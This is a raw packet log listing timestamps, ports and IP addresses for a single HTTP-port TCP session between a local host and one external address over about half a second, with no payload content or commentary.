Oct 23, 2024 15:49:11.808933973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808953047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809489012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809500933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809535980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809813023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809861898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809863091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809875011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809901953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809920073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809921026 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809931993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809943914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809958935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.809958935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.809982061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.810010910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.810775995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810823917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.810827971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810839891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810849905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810864925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810873032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.810878038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810894966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.810909033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.810928106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.811800003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.811817884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.811829090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.811860085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.811877012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.829994917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.830050945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.830262899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.830327034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.830559969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.830576897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.830585957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.830601931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.830627918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.850454092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.850483894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.850493908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.850538015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.850708961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.850745916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.850797892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.850991964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.851037979 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.882127047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.882173061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.882209063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.882253885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.882359028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.882409096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924088955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924129009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924135923 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924145937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924156904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924170971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924194098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924587011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924597025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924607992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924618006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924629927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924631119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924639940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924643993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924659967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924669981 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924671888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924681902 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924685955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.924710035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.924737930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925088882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925097942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925107956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925117970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925133944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925162077 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925379038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925425053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925473928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925483942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925493002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925502062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925513983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925518036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925524950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925540924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925550938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925551891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925561905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.925586939 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.925612926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.926359892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926377058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926387072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926398039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.926414967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.926425934 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.926668882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926678896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926688910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926701069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.926713943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.926736116 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.946207047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.946259975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.946345091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.946393967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.946398973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.946410894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.946441889 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.946446896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.946454048 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.946485043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.966109037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.966126919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.966136932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.966156960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.966176987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.997517109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.997569084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.997605085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.997632027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.997639894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.997673035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.997688055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.997719049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.997741938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.997792959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.039911985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.039947033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.039984941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040010929 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040010929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040051937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040062904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040067911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040085077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040096998 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040102005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040121078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040128946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040131092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040142059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040148020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040163040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040178061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040183067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040189028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040210009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040214062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040235996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040250063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040257931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040270090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040278912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040293932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040314913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040641069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040688038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040760994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040770054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040779114 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040791035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040803909 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.040805101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040841103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.040883064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041060925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041106939 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041114092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041124105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041160107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041169882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041179895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041188955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041198015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041209936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041213036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041234016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041253090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041646957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041692972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041702986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041713953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041749954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041759968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041764021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041774035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.041799068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.041814089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.061667919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061676979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061686993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061697960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061707973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061719894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061722994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.061753988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.061760902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.061763048 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.061803102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.081618071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.081639051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.081653118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.081751108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.081751108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.114537954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.114548922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.114557981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.114725113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.114913940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.114964008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.115000010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.115036964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.115082026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.115128040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.115176916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.115176916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.115176916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.115176916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.155479908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155514956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155551910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155714035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155746937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155777931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.155777931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.155811071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155813932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.155847073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155890942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155925035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.155986071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156021118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156033039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156033993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156033993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156033993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156033993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156059027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156071901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156100988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156127930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156141996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156155109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156183004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156199932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156205893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156224966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156235933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156244040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156250000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156265020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156272888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156289101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156290054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156308889 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156321049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156328917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156328917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156332970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156347036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156347990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156364918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156388998 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156558037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156580925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156590939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156606913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156622887 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156634092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156637907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156647921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156657934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.156677961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.156699896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.157082081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.157090902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.157100916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.157141924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.157160044 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.157171965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.157188892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.157213926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.157228947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.177594900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.177612066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.177622080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.177771091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.177771091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.197154999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.197201967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.197211981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.197211027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.197242975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.197252035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.197252989 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.197290897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.198417902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.198466063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.199166059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.199210882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.229882956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.229948997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.230051994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230062008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230072021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230082989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230094910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230103016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.230109930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230120897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.230135918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.230149984 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271034956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271074057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271086931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271099091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271136045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271179914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271192074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271202087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271214962 CEST	80	49967	185.215.113.16	192.168.2.5
